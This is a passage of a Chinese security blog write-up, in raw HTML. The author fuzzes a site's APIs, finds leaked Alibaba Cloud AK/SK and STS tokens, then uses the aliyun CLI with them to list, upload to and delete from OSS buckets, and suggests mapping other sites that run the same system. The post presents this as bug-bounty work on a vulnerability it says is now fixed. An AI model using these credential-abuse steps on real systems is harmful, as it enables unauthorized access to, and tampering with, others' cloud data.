normal;">接口数量挺多的，get方式/post方式都使用burp跑一跑，这里要先对接口进行简单处理比如有id参数，的替换为具体的数值</span></span></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.34074074074074073" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100008084" src="https://wechat2rss.xlab.app/img-proxy/?k=40254fcf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FMSDUaqtwboS3mTk5UqPVFicBzhDFua2icVjzovIxbM3ZiavY4iaDxdpkzzGN4LgCOH39Fhz08qzHoZFu3JvcibSnS5B9FvtLSibXx5knpjRntib1gU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgb(0, 0, 0);font-weight: normal;">出了很多数据，但是不是啥敏感信息</span></span></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgb(0, 0, 0);font-weight: normal;">因为有很多list接口，构造这种参数跑一手</span></span></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.36914285714285716" data-s="300,640" data-type="png" data-w="875" type="block" data-imgfileid="100008085" src="https://wechat2rss.xlab.app/img-proxy/?k=cb9c9373&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FMSDUaqtwboRe76HobmLdcDT1YfEDzhAnDsuZLPFibibvFzWaWwfkTwsdYe99ZMiciaklFib8KtGtB4xnrsOnTXPbeRoiajbponibBskibQuc7ZxA78c%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4185185185185185" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100008086" src="https://wechat2rss.xlab.app/img-proxy/?k=4f7dcf10&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FMSDUaqtwboQw4rSW8TGJzUib7DedNhz5bOO9hJAsr9ibY3BG0T6GuouKllVoLpFTktZWialb32HCl3RWBqItribNCoGxaUT9vA985FTfGPmicicqI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgb(0, 0, 0);font-weight: normal;">也没啥敏感信息</span></span></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgb(0, 0, 0);font-weight: normal;">对接口进行观察，发现有些接口是/api开头的，推测他是二级路由</span></span></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgb(0, 0, 0);font-weight: normal;">拼接/api再次测试接口，终于出东西了</span></span></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.47314814814814815" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100008087" src="https://wechat2rss.xlab.app/img-proxy/?k=67daf451&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FMSDUaqtwboR30OU2kJtkjB3Q2O6FbeqfPdF4d3vz8z2Ho2Tszt5vX5uibqeaxYiajgMqLicGoBia59GcUhic4LiaA95NqwtP8VE3hYKv7c6COTJ3w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgb(0, 0, 0);font-weight: normal;">使用yakit进行查看</span></span></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3787037037037037" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100008088" src="https://wechat2rss.xlab.app/img-proxy/?k=14506110&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FMSDUaqtwboSMqFYCqGmH4eRsIEVSd7KXOK7bQESr2qcmicgo2gwzzePcsJspGZQ7d4KoazTQ0YdZkF8eEibz679o9QVXYJJ9M3JKH1PuVsTeU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgb(0, 0, 0);font-weight: normal;">可以看到泄露了ak/sk以及临时sts</span></span></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgb(0, 0, 0);font-weight: bold;">具体解释</span></span></p><p cid="n2" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">在阿里云的身份与访问管理体系中，STS（Security Token Service，安全令牌服务）提供了一套基于临时凭证的身份认证与授权解决方案。开发人员通过调用STS服务接口（如 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">AssumeRole</span></code></span><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">），可获取一组由 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">AccessKeyId</span></code></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">AccessKeySecret</span></code></span><span md-inline="plain" style="box-sizing: border-box;"><span leaf=""> 及 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">SecurityToken</span></code></span><span md-inline="plain" style="box-sizing: border-box;"><span leaf=""> 三部分构成的临时安全凭证。</span></span></p><p cid="n3" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">该凭证的有效期由 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">Expiration</span></code></span><span md-inline="plain" style="box-sizing: border-box;"><span leaf=""> 字段明确定义，过期后系统将自动拒绝所有携带该凭证的API请求。这一机制的核心价值在于：将长期有效的静态密钥替换为动态生成的临时凭证，从而有效规避因密钥管理不善或意外泄露所引发的安全风险。同时，临时凭证的权限范围严格受限于其所绑定的RAM角色（RAM Role）策略，确保每次授权均遵循最小权限原则，满足企业级安全合规要求。</span></span></p><p cid="n4" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">在典型应用场景中，该机制广泛适用于第三方临时授权、跨账号资源访问，以及移动应用或Web前端的云端资源直传等业务需求。</span></span></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgb(0, 0, 0);font-weight: normal;">这种东西虽然有危害但是直接交上去是不收的</span></span></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgb(0, 0, 0);font-weight: normal;">深入利用一下</span></span></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgb(0, 0, 0);font-weight: normal;">直接使用这个工具</span></span></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.35" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100008089" src="https://wechat2rss.xlab.app/img-proxy/?k=7d5bc27b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FMSDUaqtwboRuTS6p9tCichXKMba5e8hYyIx1hIB2uzNSGicejKfArmib0plpnLQNS0zECaFULvF8YoB0GwTanMliceL7ToDzdEcQhSicsZco654U%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 1.6rem 0px;color: rgb(51, 51, 51);font-family: &#34;Segoe UI&#34;, &#34;Lucida Grande&#34;, Helvetica, Arial, &#34;Microsoft YaHei&#34;, FreeSans, Arimo, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Hiragino Sans GB W3&#34;, FontAwesome, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">来进行操作</span></p><p style="box-sizing: border-box;margin: 1.6rem 0px;color: rgb(51, 51, 51);font-family: &#34;Segoe UI&#34;, &#34;Lucida Grande&#34;, Helvetica, Arial, &#34;Microsoft YaHei&#34;, FreeSans, Arimo, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Hiragino Sans GB W3&#34;, FontAwesome, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">使用这条命令进行配置token以及region,region配置cn-beijing</span></p><p style="box-sizing: border-box;margin: 1.6rem 0px;color: rgb(51, 51, 51);font-family: &#34;Segoe UI&#34;, &#34;Lucida Grande&#34;, Helvetica, Arial, &#34;Microsoft YaHei&#34;, FreeSans, Arimo, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Hiragino Sans GB W3&#34;, FontAwesome, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">(</span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;box-sizing: border-box; margin: 1.6rem 0px; color: rgb(51, 51, 51); font-family: \&#34;Segoe UI\&#34;, \&#34;Lucida Grande\&#34;, Helvetica, Arial, \&#34;Microsoft YaHei\&#34;, FreeSans, Arimo, \&#34;Droid Sans\&#34;, \&#34;wenquanyi micro hei\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Hiragino Sans GB W3\&#34;, FontAwesome, sans-serif; font-size: 16px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">cn-beijing，现在漏洞已经修复了，所以没图，之前在js里面，能看到一个桶的地址，然后地区是这个，操作的时候，我直接使用这个地区，确实也可以，如果不可以的话，直接把这个丢给ai,让个给你fuzz可用的地区</span><span leaf="">)</span></p><p style="box-sizing: border-box;margin: 1.6rem 0px;color: rgb(51, 51, 51);font-family: &#34;Segoe UI&#34;, &#34;Lucida Grande&#34;, Helvetica, Arial, &#34;Microsoft YaHei&#34;, FreeSans, Arimo, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Hiragino Sans GB W3&#34;, FontAwesome, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-weight: bold;">命令</span></span></p><p style="box-sizing: border-box;margin: 1.6rem 0px;color: rgb(51, 51, 51);font-family: &#34;Segoe UI&#34;, &#34;Lucida Grande&#34;, Helvetica, Arial, &#34;Microsoft YaHei&#34;, FreeSans, Arimo, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Hiragino Sans GB W3&#34;, FontAwesome, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">.\aliyun configure --mode StsToken</span></p><p style="box-sizing: border-box;margin: 1.6rem 0px;color: rgb(51, 51, 51);font-family: &#34;Segoe UI&#34;, &#34;Lucida Grande&#34;, Helvetica, Arial, &#34;Microsoft YaHei&#34;, FreeSans, Arimo, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Hiragino Sans GB W3&#34;, FontAwesome, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">输入这个命令会让你输入ak/sk然后输入地区</span></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.43703703703703706" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100008090" src="https://wechat2rss.xlab.app/img-proxy/?k=a4e95bd7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FMSDUaqtwboTffcfwO1syPNjHvpZZmWYr8YCbUWBaO2MlhtkwkqfNQ3p1GnrcgUibRNmDgibp6pibTPhozAjJ4OAWEDECpVBT2dmbe3WMrPICT0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgb(0, 0, 0);font-weight: normal;">输入之后如果凭证没过期且有权限，就可以操作桶了，如果权限够大，可以操作ets等其他内容，我这里只能操作桶</span></span></p><p style="box-sizing: border-box;margin: 1.6rem 0px;color: rgb(51, 51, 51);font-family: &#34;Segoe UI&#34;, &#34;Lucida Grande&#34;, Helvetica, Arial, &#34;Microsoft YaHei&#34;, FreeSans, Arimo, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Hiragino Sans GB W3&#34;, FontAwesome, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="color: rgb(0, 0, 0);">使用这条命令列出这个区域的所有桶</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="bash"><code><span leaf="">.\aliyun oss <span class="code-snippet__built_in">ls</span></span></code></pre></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.14537037037037037" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100008091" src="https://wechat2rss.xlab.app/img-proxy/?k=40267ef1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FMSDUaqtwboTPM3YZ0FzjSLIiboWd3OKE69RNj91LQlsdhdeh9ibctZ8mfJoH15sGqiaiazqGfziaEApLZia4UapL3sZh0mnBFtmfaqeYIF5P0rOYs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="bash"><code><span leaf="">.\aliyun oss <span class="code-snippet__built_in">ls</span> oss://xxx-img --region cn-beijing</span></code></pre></p><p style="box-sizing: border-box;margin: 1.6rem 0px;color: rgb(51, 51, 51);font-family: &#34;Segoe UI&#34;, &#34;Lucida Grande&#34;, Helvetica, Arial, &#34;Microsoft YaHei&#34;, FreeSans, Arimo, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Hiragino Sans GB W3&#34;, FontAwesome, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这条命令是列出所有该桶里面的所有文件</span></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3398148148148148" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100008092" src="https://wechat2rss.xlab.app/img-proxy/?k=238428db&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FMSDUaqtwboQxvAuS1hgme3S3KI1KFH6xjrXYIEcSWE3LmVohPH7mPpqv2CfT3OyFBf7mibvcqsTwCeMXjKKmz6pQXiax2HvsG9l1JpMNwvK4A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 1.6rem 0px;color: rgb(51, 51, 51);font-family: &#34;Segoe UI&#34;, &#34;Lucida Grande&#34;, Helvetica, Arial, &#34;Microsoft YaHei&#34;, FreeSans, Arimo, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Hiragino Sans GB W3&#34;, FontAwesome, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">这条命令可以进行上传，如果文件存在，我们可以选择是否覆盖</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="bash"><code><span leaf="">.\aliyun oss <span class="code-snippet__built_in">cp</span> oss://xxxx/test.txt ./test.txt --region cn-beijing</span></code></pre></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.14907407407407408" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100008093" src="https://wechat2rss.xlab.app/img-proxy/?k=ae56c104&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FMSDUaqtwboQjn5WsVX9lfud8S3HeU0Wq1Ndg8fPs5obialiaZHMTkSmFhWhvHBvGPskBXKE4Y6lOfKLMhlnCIyVT3IJCDIjD3AlF4wn0iaymf4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="bash"><code><span leaf="">.\aliyun oss <span class="code-snippet__built_in">rm</span> oss://xx/test.txt --region cn-beijing</span></code></pre></p><p style="box-sizing: border-box;margin: 1.6rem 0px;color: rgb(51, 51, 51);font-family: &#34;Segoe UI&#34;, &#34;Lucida Grande&#34;, Helvetica, Arial, &#34;Microsoft YaHei&#34;, FreeSans, Arimo, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Hiragino Sans GB W3&#34;, FontAwesome, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这条命令可以对桶里面的文件进行删除,不再演示，危害已经足够了</span></p><p style="box-sizing: border-box;margin: 1.6rem 0px;color: rgb(51, 51, 51);font-family: &#34;Segoe UI&#34;, &#34;Lucida Grande&#34;, Helvetica, Arial, &#34;Microsoft YaHei&#34;, FreeSans, Arimo, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Hiragino Sans GB W3&#34;, FontAwesome, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这个利用是最简单的，还有很多命令，师傅们可以自行了解，</span></p><p style="box-sizing: border-box;margin: 1.6rem 0px;color: rgb(51, 51, 51);font-family: &#34;Segoe UI&#34;, &#34;Lucida Grande&#34;, Helvetica, Arial, &#34;Microsoft YaHei&#34;, FreeSans, Arimo, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Hiragino Sans GB W3&#34;, FontAwesome, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">打完之后，利用登录框的特征，可以进行测绘，看看是不是通用的</span></p><p style="text-align: center;margin-bottom: 24px;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100008096" data-ratio="0.5333333333333333" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=ead96d99&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FMSDUaqtwboThHB8yWolv6PUGVNXkJ5so3d2xP1FsVLXGQicO1cjTaprB0O7A62GjiaLwexN8D5d6ibtM0f8uMwjK22zQw6HeRPQz8eibYxDjZHY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 1.6rem 0px;color: rgb(51, 51, 51);font-family: &#34;Segoe UI&#34;, &#34;Lucida Grande&#34;, Helvetica, Arial, &#34;Microsoft YaHei&#34;, FreeSans, Arimo, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Hiragino Sans GB W3&#34;, FontAwesome, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">如果是通用的，就可以继续打很多资产。</span></p><p style="text-align: center;" data-pm-slice="2 2 []"><span leaf="">如果你是一个长期主义者，欢迎加入我的知识星球，本星球日日更新,包含号主大量一线实战,全网独一无二，微信识别二维码付费即可加入，如不满意，72 小时内可在 App 内无条件自助退款</span></p><p><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012574" data-ratio="0.5493333333333333" data-s="300,640" data-w="750" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=033161f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYmmVSe19Qj5EMr3X76qdKBrhIIkBlVVyuiaiasseFZ9LqtibyKFk7gXvgTU2C2yEwKLaaqfX0DL3eoH6gTcNLJvDQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p><span style="box-sizing: border-box;text-align: center;display: inline-block;height: 38px;line-height: 42px;color: rgb(72, 179, 120);background-position: left center;background-repeat: no-repeat;background-attachment: initial;background-origin: initial;background-clip: initial;background-size: 63px;margin-top: 38px;font-size: 18px;margin-bottom: 10px;"><span leaf="">往期回顾</span></span></p><h1 data-pm-slice="0 0 []"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497813&amp;idx=1&amp;sn=c778ad6a4bffd7a0a72a900144ea90ca&amp;scene=21#wechat_redirect" textvalue="如何利用ai辅助挖漏洞" data-itemshowtype="0" linktype="text" data-linktype="2">如何利用ai辅助挖漏洞</a></span></h1><h1 data-pm-slice="0 0 []"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497880&amp;idx=1&amp;sn=b9b980464333074216b55ea94c8a743a&amp;scene=21#wechat_redirect" textvalue="如何在移动端抓包-下" data-itemshowtype="0" linktype="text" data-linktype="2">如何在移动端抓包-下</a></span></h1><h1 data-pm-slice="0 0 []"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;h1&#34;,&#34;attributes&#34;:{&#34;id&#34;:&#34;activity-name&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497491&amp;idx=1&amp;sn=a1b00b9a8a54eb96aa3ba8bf23cb7e28&amp;scene=21#wechat_redirect" textvalue="如何绕过签名校验" data-itemshowtype="0" linktype="text" data-linktype="2">如何绕过签名校验</a></span></h1><p><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" 